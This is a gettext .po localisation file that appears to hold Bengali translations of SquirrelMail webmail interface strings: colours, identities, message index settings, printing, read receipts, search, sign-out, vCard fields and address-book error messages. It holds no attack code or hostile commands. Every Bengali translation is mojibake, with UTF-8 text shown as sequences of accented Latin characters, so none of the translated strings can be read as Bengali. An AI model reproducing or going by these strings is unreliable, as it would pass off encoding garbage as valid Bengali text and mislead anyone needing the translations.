msgstr "āĻĒāϰāĻŋāϚ⧟ āĻšāĻŋāϏāĻžāĻŦ⧇ āϝ⧇ āύāĻžāĻŽ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇"

msgid "Color"
msgstr "āϰāĻ™"

msgid "Dark Blue"
msgstr "āĻ—āĻžāĻĸāĻŧ āύ⧀āϞ"

msgid "Dark Green"
msgstr "āĻ—āĻžāĻĸāĻŧ āϏāĻŦ⧁āϜ"

msgid "Dark Yellow"
msgstr "āĻšāϞ⧁āĻĻ"

msgid "Dark Cyan"
msgstr "āĻ—āĻžā§ āφāĻ•āĻžāĻļā§€"

msgid "Dark Magenta"
msgstr "āĻ—āĻžāĻĸāĻŧ āĻŽā§āϝāĻžāĻœā§‡āĻ¨ā§āϟāĻž"

msgid "Light Blue"
msgstr "āĻšāĻžāĻ˛ā§āĻ•āĻž āύ⧀āϞ"

msgid "Light Green"
msgstr "āĻšāĻžāĻ˛ā§āĻ•āĻž āϏāĻŦ⧁āϜ"

msgid "Light Yellow"
msgstr "āĻšāĻžāĻ˛ā§āĻ•āĻž āĻšāϞ⧁āĻĻ"

msgid "Light Cyan"
msgstr "āĻšāĻžāĻ˛ā§āĻ•āĻž āφāĻ•āĻžāĻļā§€"

msgid "Light Magenta"
msgstr "āĻŽā§āϝāĻžāĻœā§‡āĻ¨ā§āϟāĻž"

msgid "Dark Gray"
msgstr "āĻ—āĻžāĻĸāĻŧ āĻ›āĻžāχ āϰāĻ™"

msgid "Medium Gray"
msgstr "āĻŽāĻžāĻāĻžāϰ⧀ āĻ›āĻžāχ āϰāĻ™"

msgid "Light Gray"
msgstr "āĻšāĻžāĻ˛ā§āĻ•āĻž āĻ›āĻžāχ āϰāĻ™"

msgid "White"
msgstr "āϏāĻžāĻĻāĻž"

msgid "Other:"
msgstr "āĻ…āĻ¨ā§āϝ:"

msgid "Ex: 63aa7f"
msgstr "āϝ⧇āĻŽāύ: 63aa7f"

msgid "Matches"
msgstr "āĻŽāĻŋāϞāϗ⧁āϞ⧋"

msgid "Editing identities is disabled."
msgstr "āϏāĻŽā§āĻĒāĻžāĻĻāύ āĻĒāϰāĻŋāϚāĻžā§ŸāĻ•āϗ⧁āϞ⧋ āĻ…āĻ•ā§āώāĻŽāĨ¤"

msgid "Default Identity"
msgstr "āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻĒāϰāĻŋāϚ⧟"

#, php-format
msgid "Alternate Identity %d"
msgstr "āĻ…āĻ¨ā§āϝ āĻĒāϰāĻŋāϚ⧟ %d"

msgid "Add a New Identity"
msgstr "āύāϤ⧁āύ āĻāĻ•āϟāĻž āĻĒāϰāĻŋāϚ⧟ āϤ⧈āϰ⧀ āĻ•āϰ⧁āύ"

msgid "Advanced Identities"
msgstr "āĻŦāĻŋāĻļ⧇āώāϧāϰāϪ⧇āϰ āĻ•āĻžāϜ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āϝ⧇ āϏāĻŦ āĻĒāϰāĻŋāϚ⧟ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇"

msgid "Full Name"
msgstr "āĻĒ⧁āϰ⧋ āύāĻžāĻŽ"

msgid "E-Mail Address"
msgstr "āχāĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "Reply To"
msgstr "āϚāĻŋāĻ āĻŋāϰ āωāĻ¤ā§āϤāϰ āϝ⧇ āĻ āĻŋāĻ•āĻžāύāĻžā§Ÿ āĻĒāĻžāĻ āĻžāύ⧋ āĻšāĻŦ⧇"

msgid "Save / Update"
msgstr "āϏāĻ‚āϰāĻ•ā§āώāύ / āĻšāĻžāϞāύāĻžāĻ—āĻžāĻĻ"

msgid "Make Default"
msgstr "āφāϞāĻžāĻĻāĻž āĻ•āϰ⧇ āĻŦāϞ⧇ āύāĻž āĻĻāĻŋāϞ⧇ āĻāχ āĻĒāϰāĻŋāϚ⧟āϟāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇"

msgid "Move Up"
msgstr "āĻāĻ•āϘāϰ āωāĻĒāϰ⧇ āωāĻ āĻžāύ⧋"

msgid "Index Order"
msgstr "āϤāĻžāϞāĻŋāĻ•āĻž āϤ⧈āϰ⧀āϰ āĻ•ā§āϰāĻŽ"

msgid "Checkbox"
msgstr "āϟāĻŋāĻ• āϚāĻŋāĻšā§āύ āĻĻ⧇āĻŦāĻžāϰ āĻŦāĻžāĻ•ā§āϏ"

msgid "Flags"
msgstr "āĻĒāϤāĻžāĻ•āĻžāϏāĻŽā§‚āĻš"

msgid "Size"
msgstr "āφāĻ•āĻžāϰ"

msgid ""
"The index order is the order that the columns are arranged in the message "
"index. You can add, remove, and move columns around to customize them to fit "
"your needs."
msgstr ""
"āϤāĻžāϞāĻŋāĻ•āĻžāϰ āϧāĻžāϰāĻžā§Ÿ āφāĻĒāύāĻŋ āϝāĻž āĻŦāϞ⧇ āĻĻ⧇āĻŦ⧇āύ, āφāĻĒāύāĻžāϰ āĻŦāĻžāĻ°ā§āϤāĻžāϗ⧁āϞ⧋āϰ āϤāĻžāϞāĻŋāĻ•āĻž āĻĻ⧇āĻ–āĻžāύ⧋āϰ āϏāĻŽā§Ÿ āĻ•āϞāĻžāĻŽ āϗ⧁āϞ⧋ "
"āϏ⧇ āĻ…āύ⧁āϝāĻžā§Ÿā§€ āϏāĻžāϜāĻžāύ⧋ āĻšāĻŦ⧇āĨ¤ āφāĻĒāύāĻŋ āĻ•āϞāĻžāĻŽ āϝ⧋āĻ— āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύ, āĻŦāĻž āĻŦāĻžāĻĻ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰ⧇āύ āĻāĻŦāĻ‚ āĻ "
"āĻ›āĻžāĻĄāĻŧāĻžāĻ“ āĻ•āϞāĻžāĻŽāϗ⧁āϞ⧋āϕ⧇ āφāĻĒāύāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻ āĻŽāϤ āφāϗ⧇-āĻĒāϰ⧇ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤"

msgid "up"
msgstr "āωāĻĒāϰ⧇"

msgid "down"
msgstr "āύ⧀āĻšā§‡"

msgid "remove"
msgstr "āĻŦāĻžāĻĻ āĻĻāĻŋāύ"

msgid "Return to options page"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻ āĻĒāĻžāϤāĻžā§Ÿ āĻĒāĻžāϤāĻžā§Ÿ āĻĢāĻŋāϰ⧇ āϝāĻžāύ"

msgid "Personal Information"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āϤāĻĨā§āϝ"

msgid "Display Preferences"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋ āĻĒā§āϰāĻĻāĻ°ā§āĻļāύ"

msgid "Folder Preferences"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš"

msgid "Error(s) occurred while saving your options"
msgstr "āφāĻĒāύāĻžāϰ āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋ āϏāĻ‚āϰāĻ•ā§āώāύ⧇ āĻ¤ā§āϰ⧁āϟāĻŋ(āϗ⧁āϞ⧋) āĻšā§Ÿā§‡āϛ⧇"

msgid "Some of your preference changes were not applied."
msgstr "āφāĻĒāύāĻžāϰ āĻ•āĻŋāϛ⧁ āĻĒāĻ›āĻ¨ā§āĻĻ⧇āϰ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻĒā§āĻ°ā§Ÿā§‹āĻ— āĻ•āϰāĻž āϝāĻžā§ŸāύāĻŋāĨ¤"

msgid "Successfully Saved Options"
msgstr "āĻĒāĻ›āĻ¨ā§āĻĻāϏāĻŽā§‚āĻš  āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āĻšā§Ÿā§‡āϛ⧇"

msgid "Refresh Folder List"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāϟāĻž āφāĻŦāĻžāϰ āϏāϤ⧇āϜ āĻ•āϰ⧁āύ"

msgid "Refresh Page"
msgstr "āĻĒ⧃āĻˇā§āĻ āĻžāϟāĻŋ āϏāϤ⧇āϜ āĻ•āϰ⧁āύ"

msgid ""
"This contains personal information about yourself such as your name, your "
"email address, etc."
msgstr ""
"āĻāĻ–āĻžāύ⧇ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āϤāĻĨā§āϝ, āϝ⧇āĻŽāύ āφāĻĒāύāĻžāϰ āύāĻžāĻŽ, āχāĻŽā§‡āχāϞ āĻ āĻŋāĻ•āĻžāύāĻž, āχāĻ¤ā§āϝāĻžāĻĻāĻŋ āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžā§ŸāĨ¤"

msgid ""
"You can change the way that SquirrelMail looks and displays information to "
"you, such as the colors, the language, and other settings."
msgstr ""
"SquirrelMail āϤāĻĨā§āϝāĻĒāϟ āϗ⧁āϞ⧋ āĻ•āĻŋāϰāĻ•āĻŽ āĻĻ⧇āĻ–āĻžāĻŦ⧇, āϝ⧇āĻŽāύ āϰāĻ™, āĻ­āĻžāώāĻž, āχāĻ¤ā§āϝāĻžāĻĻāĻŋ āĻāĻ–āĻžāύ⧇ āĻ āĻŋāĻ• āĻ•āϰ⧇ "
"āĻĻ⧇āĻ“ā§ŸāĻž āϝāĻžā§ŸāĨ¤"

msgid ""
"Based upon given criteria, incoming messages can have different background "
"colors in the message list. This helps to easily distinguish who the "
"messages are from, especially for mailing lists."
msgstr ""
"āĻ•āĻŋāϛ⧁ āύāĻŋ⧟āĻŽā§‡āϰ āĻ­āĻŋāĻ¤ā§āϤāĻŋāϤ⧇, āφāĻ—āϤ āĻŦāĻžāĻ°ā§āϤāĻžāϏāĻŽā§‚āĻšāϕ⧇ āĻŦāĻžāĻ°ā§āϤāĻž āϤāĻžāϞāĻŋāĻ•āĻžā§Ÿ āĻŦāĻŋāĻ­āĻŋāĻ¨ā§āύ āϰāϙ⧇āϰ āĻĒā§āϰ⧇āĻ•ā§āώāĻžāĻĒāĻŸā§‡ "
"āĻĻ⧇āĻ–āĻžāύ⧋āϰ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āύāĨ¤ āĻāϤ⧇ āϕ⧋āĻĨāĻž āĻĨ⧇āϕ⧇ āĻŦāĻžāĻ°ā§āϤāĻžāϗ⧁āϞ⧋ āφāϏāϛ⧇ āϤāĻž āϏāĻšāĻœā§‡ āĻĻ⧇āĻ–āĻž āϝāĻžā§Ÿ, "
"āĻŦāĻŋāĻļ⧇āώ āĻ•āϰ⧇ āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻžāϰ āĻ•ā§āώ⧇āĻ¤ā§āϰ⧇ āĻāϟāĻŋ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻ•āϰ⧇āĨ¤"

msgid ""
"These settings change the way your folders are displayed and manipulated."
msgstr ""
"āĻāĻ–āĻžāύ⧇āϰ āφāĻĒāύāĻŋ āϝāĻž āύāĻŋ⧟āĻŽ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻ⧇āĻŦ⧇āύ, āϚāĻŋāĻ āĻŋ āϰāĻžāĻ–āĻžāϰ āĻŦāĻžāĻ•ā§āϏāϗ⧁āϞ⧋ āϏ⧇āχ āύāĻŋ⧟āĻŽ āĻŽā§‡āύ⧇ āĻĻ⧇āĻ–āĻžāύ⧋ "
"āĻšāĻŦ⧇ āĻāĻŦāĻ‚ āĻŦāĻžāĻ•ā§āϏāϗ⧁āϞ⧋ āύāĻŋā§Ÿā§‡ āϏ⧇āχ āύāĻŋ⧟āĻŽ āĻŽāϤ āĻ•āĻžāϜ āĻ•āϰāĻž āϝāĻžāĻŦ⧇āĨ¤"

msgid ""
"The order of the message index can be rearranged and changed to contain the "
"headers in any order you want."
msgstr ""
"āϚāĻŋāĻ āĻŋāϗ⧁āϞ⧋āϰ āϤāĻžāϞāĻŋāĻ•āĻž āϤ⧈āϰ⧀āϰ āϏāĻŽā§Ÿ āĻ•āϞāĻžāĻŽāϗ⧁āϞ⧋ āĻ•āĻŋ āĻĒāϰāĻŋāϰāĻ•ā§āϰāĻŽāĻžā§Ÿ āϏāĻžāϜāĻžāύ⧋ āĻšāĻŦ⧇ āϏ⧇āϟāĻž āφāĻĒāύāĻŋ āĻŦāϞ⧇ āĻĻāĻŋāϤ⧇ "
"āĻĒāĻžāϰ⧇āύāĨ¤"

msgid "Message not printable"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āĻ›āĻžāĻĒāĻžāύ⧋ āϝāĻžāĻšā§āϛ⧇ āύāĻž"

msgid "Attachments:"
msgstr "āϏāĻ‚āϝ⧁āĻ•ā§āϤāĻŋāϗ⧁āϞ⧋:"

msgid "Unknown sender"
msgstr "āĻ…āϜāĻžāύāĻž āĻĒā§āϰ⧇āϰāĻ•"

msgid "Info:"
msgstr "āϤāĻĨā§āϝ:"

msgid "Size:"
msgstr "āφāĻ•āĻžāϰ:"

msgid "Type:"
msgstr "āϧāϰāύ:"

msgid "Invalid URL"
msgstr "āĻ…āĻŦ⧈āϧ URL"

msgid "Printer Friendly"
msgstr "āĻŽā§āĻĻā§āϰāĻ• āϏāĻšāĻžā§ŸāĻ•"

msgid "Print"
msgstr "āĻŽā§āĻĻā§āϰāύ"

msgid "View Printable Version"
msgstr "āĻŽā§āĻĻā§āϰāύāϝ⧋āĻ—ā§āϝ āϏāĻ‚āĻˇā§āĻ•āϰāĻŖ āĻĻ⧇āĻ–āĻžāύ"

msgid "Read:"
msgstr "āĻĒāĻĄāĻŧ⧁āύ:"

msgid "Your message"
msgstr "āφāĻĒāύāĻžāϰ āĻŦāĻžāĻ°ā§āϤāĻž"

msgid "Sent"
msgstr "āĻĒāĻžāĻ āĻžāύ⧋ āĻšā§Ÿā§‡āϛ⧇"

#, php-format
msgid "Was displayed on %s"
msgstr "%s āĻ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšā§Ÿā§‡āĻ›āĻŋāϞ"

msgid "less"
msgstr "āĻ•āĻŽ"

msgid "more"
msgstr "āĻŦ⧇āĻļā§€"

msgid "Mailer"
msgstr "āϝ⧇ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒāĻžāĻ āĻžā§Ÿ"

msgid "Read receipt"
msgstr "āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāĻĒāĻ¤ā§āϰ āĻĒāĻĄāĻŧāĻž āĻšā§‹āĻ•"

msgid "sent"
msgstr "āĻĒāĻžāĻ āĻžāύ⧋ āĻšā§Ÿā§‡āϛ⧇"

msgid "requested"
msgstr "āĻ…āύ⧁āϰ⧋āϧāĻ•ā§ƒāϤ"

msgid ""
"The message sender has requested a response to indicate that you have read "
"this message. Would you like to send a receipt?"
msgstr ""
"āĻĒā§āϰ⧇āϰāĻ• āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋ āĻĒāĻĄāĻŧāĻž āĻšāϞ⧇ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāĻĒāĻ¤ā§āϰ āĻĒāĻžāĻ āĻžāϤ⧇ āĻ…āύ⧁āϰ⧋āϧ āĻ•āϰ⧇āϛ⧇āĨ¤ āφāĻĒāύāĻŋ āĻ•āĻŋ āĻĒāĻžāĻ āĻžāϤ⧇ āϚāĻžāύ?"

msgid "Send read receipt now"
msgstr "āĻāĻ–āύāχ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāĻĒāĻ¤ā§āϰ āĻĒāĻžāĻ āĻžāύ"

msgid "Search Results"
msgstr "āϏāĻ¨ā§āϧāĻžāύ āĻĢāϞāĻžāĻĢāϞāϏāĻŽā§‚āĻš"

msgid "Message List"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϰ āϤāĻžāϞāĻŋāĻ•āĻž"

msgid "Resume Draft"
msgstr "āĻ–āϏāĻĄāĻŧāĻž āĻĨ⧇āϕ⧇ āφāĻŦāĻžāϰ āĻļ⧁āϰ⧁ āĻ•āϰāĻž āĻšā§‹āĻ•"

msgid "Edit Message as New"
msgstr "āύāϤ⧁āύ āĻšāĻŋāϏ⧇āĻŦ⧇ āĻŦāĻžāĻ°ā§āϤāĻž āϏāĻŽā§āĻĒāĻžāĻĻāύ āĻ•āϰ⧁āύ"

msgid "View Message"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋ āĻĻ⧇āϖ⧁āύ"

msgid "Forward"
msgstr "āĻāĻ—āĻŋā§Ÿā§‡ āύ⧇āĻ“ā§ŸāĻž"

msgid "Forward as Attachment"
msgstr "āϏāĻ‚āϝ⧁āĻ•ā§āϤ āĻšāĻŋāϏ⧇āĻŦ⧇ āĻāĻ—āĻŋā§Ÿā§‡ āύāĻŋā§Ÿā§‡ āϝāĻžāύ"

msgid "Reply"
msgstr "āĻĒā§āϰāĻ¤ā§āϝ⧁āĻ¤ā§āϤāϰ"

msgid "Reply All"
msgstr "āϏāĻ‚āĻļā§āϞāĻŋāĻˇā§āϟ āϏāĻŦāĻžāχāϕ⧇ āĻĒā§āϰāĻ¤ā§āϝ⧁āĻ¤ā§āϤāϰ āĻĒāĻžāĻ āĻžāύ"

msgid "View Full Header"
msgstr "āĻ–āĻžāĻŽā§‡āϰ āϞ⧇āĻ–āĻž āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āĻĻ⧇āĻ–āĻžāύ"

msgid "Attachments"
msgstr "āϏāĻ‚āϝ⧁āĻ•ā§āϤ āĻĢāĻžāχāϞ(āϗ⧁āϞāĻŋ)"

msgid "You must be logged in to access this page."
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻĒā§āϰāĻŽāĻžāĻŖ āύāĻž āĻ•āϰ⧇ āĻāχ āĻĒāĻžāϤāĻž āĻĻ⧇āĻ–āĻž āϝāĻžāĻŦ⧇ āύāĻžāĨ¤"

msgid "Folder:"
msgstr "āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ:"

msgid "Saved Searches"
msgstr "āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "edit"
msgstr "āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰ⧁āύ"

msgid "search"
msgstr "āĻ–ā§‹āρāϜāĻž"

msgid "delete"
msgstr "āĻŽā§āϛ⧇ āĻĢ⧇āϞ⧁āύ"

msgid "Recent Searches"
msgstr "āĻŦāĻŋāĻ—āϤ āϏāĻ°ā§āĻŦāĻļ⧇āώ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "save"
msgstr "āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύ"

msgid "forget"
msgstr "āĻ­ā§‚āϞ⧇ āϗ⧇āϛ⧇"

msgid "Current Search"
msgstr "āĻŦāĻ°ā§āϤāĻŽāĻžāύ āĻ…āύ⧁āϏāĻ¨ā§āϧāĻžāύ"

msgid "All Folders"
msgstr "āϏāĻŦ āĻĢā§‹āĻ˛ā§āĻĄāĻžāϰ"

msgid "Body"
msgstr "āĻŦāĻžāĻ°ā§āϤāĻžāϰ āĻŽā§‚āϞ āĻ…āĻ‚āĻļ"

msgid "Everywhere"
msgstr "āϏāĻ°ā§āĻŦāĻ¤ā§āϰ"

msgid "No Messages Found"
msgstr "āϕ⧋āύ āĻŦāĻžāĻ°ā§āϤāĻž āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Please enter something to search for"
msgstr "āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻ–ā§‹āρāϜāĻžāϰ āϜāĻ¨ā§āϝ āĻ•āĻŋāϛ⧁ āĻĒā§āϰāĻŦ⧇āĻļ āĻ•āϰ⧁āύ"

msgid "Signout"
msgstr "āϏāĻžāχāύ āφāωāϟ"

msgid "Sign Out"
msgstr "āϏāĻžāχāύ āφāωāϟ"

msgid "You have been successfully signed out."
msgstr "āφāĻĒāύāĻŋ āϏāĻĢāϞāĻ­āĻžāĻŦ⧇ āĻ…āϏāĻžāĻ•ā§āώāϰāĻŋāϤ āĻšā§Ÿā§‡āϛ⧇āύāĨ¤"

msgid "Click here to log back in."
msgstr "āύāϤ⧁āύ āĻ•āϰ⧇ āĻĸ⧁āĻ•āϤ⧇ āϚāĻžāχāϞ⧇ āĻāĻ–āĻžāύ⧇ āĻ•ā§āϞāĻŋāĻ• āĻ•āϰ⧁āύāĨ¤"

msgid "Viewing a Business Card"
msgstr "āĻĒāϰāĻŋāϚ⧟ āĻŦāĻŋāύāĻŋāĻŽā§Ÿ āĻĒāĻ¤ā§āϰ āĻĻ⧇āĻ–āϛ⧇"

#, php-format
msgid ""
"vCard Version %s is not supported. Some information might not be converted "
"correctly."
msgstr "āĻ­āĻŋāĻ•āĻžāĻ°ā§āĻĄ āϏāĻ‚āĻ•āϞāύ %s āϏāĻŽāĻ°ā§āĻĨāĻŋāϤ āύ⧟āĨ¤ āĻ•āĻŋāϛ⧁ āϤāĻĨā§āϝ āϏāĻŽā§āĻ­āĻŦāϤ āϏāĻ āĻŋāĻ•āĻ­āĻžāĻŦ⧇ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāĻŋāϤ āĻšā§ŸāύāĻŋāĨ¤"

msgid "Title"
msgstr "āĻļāĻŋāϰ⧋āύāĻžāĻŽ"

msgid "Web Page"
msgstr "āĻ“ā§Ÿā§‡āĻŦ āĻĒ⧇āϜ"

msgid "Organization / Department"
msgstr "āĻ•āĻ°ā§āĻŽāĻ¸ā§āĻĨāϞ / āĻŦāĻŋāĻ­āĻžāĻ—"

msgid "Address"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻž"

msgid "Work Phone"
msgstr "āĻ•āĻžāĻœā§‡āϰ āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀"

msgid "Home Phone"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻĻā§‚āϰāĻžāϞāĻžāĻĒāύ⧀"

msgid "Cellular Phone"
msgstr "āĻŦ⧇āϤāĻžāϰ āĻĻ⧁āϰāĻžāϞāĻžāĻĒāύ⧀"

msgid "Fax"
msgstr "āĻĻā§‚āϰāĻŽā§‚āĻĻā§āϰāĻŖā§€/āĻĢā§āϝāĻžāĻ•ā§āϏ"

msgid "Note"
msgstr "āĻŦāĻ°ā§āĻŖāύāĻž"

msgid "Add to address book"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāĻ‡ā§Ÿā§‡ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Title &amp; Org. / Dept."
msgstr "āĻļāĻŋāϰ⧋āύāĻžāĻŽ &amp; āϏāĻ‚āĻ—āĻ āύ / āĻŦāĻŋāĻ­āĻžāĻ—āĨ¤"

msgid "Viewing Full Header"
msgstr "āĻ–āĻžāĻŽā§‡ āϝāĻž āϞ⧇āĻ–āĻž āφāϛ⧇ āϤāĻž āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āĻĻ⧇āĻ–āĻž"

msgid "Viewing a text attachment"
msgstr "āϏāĻžāϧāĻžāϰāĻŖ āϞ⧇āĻ–āĻž āĻĻ⧇āĻ–āϤ⧇ āĻšāϞ⧇"

msgid "View Unsafe Images"
msgstr "āϏāĻ¨ā§āĻĻ⧇āĻšāϜāύāĻ• āĻ›āĻŦāĻŋāĻ“ āϝ⧇āύ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšā§Ÿ"

msgid ""
"Could not include PEAR database functions required for the database backend."
msgstr ""
"āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ āĻŦā§āϝāĻžāĻ•āĻāĻ¨ā§āĻĄā§‡āϰ āϜāĻ¨ā§āϝ āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ PEAR āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ āĻĢāĻžāĻ‚āĻļāύ āϝ⧁āĻ•ā§āϤ āĻ•āϰāĻž āϝāĻžā§ŸāύāĻŋāĨ¤"

#, php-format
msgid "Is PEAR installed, and is the include path set correctly to find %s?"
msgstr "PEAR āĻ•āĻŋ āϏāĻ‚āĻ¸ā§āĻĨāĻžāĻĒāĻŋāϤ, āĻāĻŦāĻ‚ %s āϖ⧁āρāϜāϤ⧇ āĻ•āĻŋ āϏāĻ āĻŋāĻ• āĻĒāĻĨ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇?"

msgid "Please contact your system administrator and report this error."
msgstr "āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āĻ•āĻžāϰāĻŋāĻ—āϰ⧀ āĻŦāĻŋāĻ­āĻžāϗ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧇ āĻāχ āϏāĻŽāĻ¸ā§āϝāĻžāϟāĻžāϰ āĻ•āĻĨāĻž āϜāĻžāύāĻžāύāĨ¤"

msgid "Personal address book"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ āĻŋāĻ•āĻžāύāĻžāϰ āĻ–āĻžāϤāĻž"

#, php-format
msgid "Database error: %s"
msgstr "āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ āϏāĻŽāĻ¸ā§āϝāĻž: %s"

msgid "Address book is read-only"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻļ⧁āϧ⧁ āĻĒāĻžāĻ āϝ⧋āĻ—ā§āϝ"

#, php-format
msgid "User \"%s\" already exists"
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ \"%s\" āχāϤāĻŋāĻŽāĻ§ā§āϝ⧇ āĻŦāĻŋāĻĻā§āϝāĻŽāĻžāύ"

#, php-format
msgid "User \"%s\" does not exist"
msgstr "\"%s\" āύāĻžāĻŽā§‡āϰ āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ āύ⧇āχ"

#, php-format
msgid "User '%s' already exist."
msgstr "āĻŦā§āϝāĻŦāĻšāĻžāϰāĻ•āĻžāϰ⧀ \"%s\" āχāϤāĻŋāĻŽāĻ§ā§āϝ⧇ āĻŦāĻŋāĻĻā§āϝāĻŽāĻžāύāĨ¤"

msgid "Not a file name"
msgstr "āĻāϟāĻž āĻāĻ•āϟāĻž āĻĢāĻžāχāϞ⧇āϰ āύāĻžāĻŽ āύ⧟"

msgid "No such file or directory"
msgstr "āĻāχ āύāĻžāĻŽā§‡ āϕ⧋āύ⧋ āĻĢāĻžāχāϞ āĻŦāĻž āύāĻŋāĻ°ā§āĻĻ⧇āĻļāĻŋāĻ•āĻž āύ⧇āχ"

msgid "Open failed"
msgstr "āĻ–ā§‹āϞāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Write failed"
msgstr "āϞ⧇āĻ–āĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Unable to update"
msgstr "āĻŦāĻĻāϞāĻžāύ⧋ āϝāĻžā§Ÿ āύāĻŋ"

msgid "Address book is corrupted. Required fields are missing."
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āύāĻˇā§āϟāĨ¤ āĻĒā§āĻ°ā§Ÿā§‹āϜāĻ¨ā§€ā§Ÿ āĻĢāĻžāχāϞāϗ⧁āϞ⧋ āĻĒāĻžāĻ“ā§ŸāĻž āϝāĻžāĻšā§āϛ⧇ āύāĻžāĨ¤"

msgid "Address book entry is too big"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āĻĒā§āϰāĻŦ⧇āĻļ āĻ…āύ⧇āĻ• āĻŦ⧇āĻļā§€ āĻŦ⧜"

msgid "Could not lock datafile"
msgstr "āϤāĻĨā§āϝ⧇āϰ āĻĢāĻžāχāϞāϟāĻž āĻ…āĻ¨ā§āϝ āϕ⧇āω āϝāĻžāϤ⧇ āĻŦāĻĻāϞāĻžāϤ⧇ āύāĻž āĻĒāĻžāϰ⧇, āϏ⧇ āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻž āĻ•āϰāĻž āϝāĻžā§Ÿ āύāĻŋ"

msgid "Write to address book failed"
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāĻ‡ā§Ÿā§‡ āϞāĻŋāĻ–āϤ⧇ āĻŦā§āϝāĻ°ā§āĻĨ"

msgid "Error initializing address book database."
msgstr "āĻ āĻŋāĻ•āĻžāύāĻžāĻŦāχ āωāĻĒāĻžāĻ¤ā§āϤ āĻ­āĻžāĻ¨ā§āĻĄāĻžāϰ āĻļ⧁āϰ⧁ āĻ•āϰāϤ⧇ āĻ¤ā§āϰ⧁āϟāĻŋāĨ¤"

#, php-format
msgid "Error opening file %s"
msgstr "%s āĻĢāĻžāχāϞāϟāĻž āϖ⧁āϞāϤ⧇ āϏāĻŽāĻ¸ā§āϝāĻž"

